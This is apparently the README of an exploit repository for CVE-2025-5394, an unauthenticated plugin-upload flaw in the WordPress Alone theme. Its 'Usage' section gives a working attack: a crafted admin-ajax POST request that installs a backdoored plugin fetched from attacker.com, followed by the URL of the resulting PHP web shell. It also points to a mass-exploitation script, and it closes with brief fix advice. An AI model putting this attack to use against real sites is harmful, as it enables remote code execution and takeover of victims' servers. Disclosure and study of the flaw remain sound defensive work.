# CVE-2025-5394 – WordPress Alone Theme <= 7.8.3 - Unauthenticated Arbitrary File Upload via Plugin Installation

🔥 **Vulnerability Summary**  
The WordPress theme **Alone** versions <= 7.8.3 is vulnerable to an **unauthenticated arbitrary file upload** vulnerability. This flaw allows **unauthenticated attackers** to upload and install arbitrary plugin ZIP files from remote URLs via an unprotected AJAX endpoint — resulting in **remote code execution (RCE)** by deploying backdoored plugins.

This vulnerability stems from the `beplus_import_pack_install_plugin` function exposed to the public via `wp_ajax_nopriv_` without any authentication or capability checks. The function installs and activates a plugin from a user-supplied URL.

🚀 **Usage**
1. Prepare a malicious plugin ZIP file hosted on a server you control.
   - Must contain a valid plugin header (`Plugin Name:`) and PHP backdoor (e.g., `bk.php`)
2. Craft the following POST request:

   ```http
   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim.com
   Content-Type: application/x-www-form-urlencoded

   action=beplus_import_pack_install_plugin&
   data[plugin_slug]=hello-dolly&
   data[plugin_source]=https://attacker.com/hello-dolly.zip
   ```

3. If successful, the plugin is installed and activated. Access your shell at:
   ```
   https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
   ```

See [`mass_beplus_exploit.py`](./mass_beplus_exploit.py) for details.

🛠 **Fix Recommendations**
- Theme authors should remove or secure the `wp_ajax_nopriv_beplus_import_pack_install_plugin` hook.
- Implement authentication/capability checks (e.g., `current_user_can('install_plugins')`)
- Validate and restrict plugin sources.
- Use a Web Application Firewall (WAF) to block unauthorized admin-ajax access.
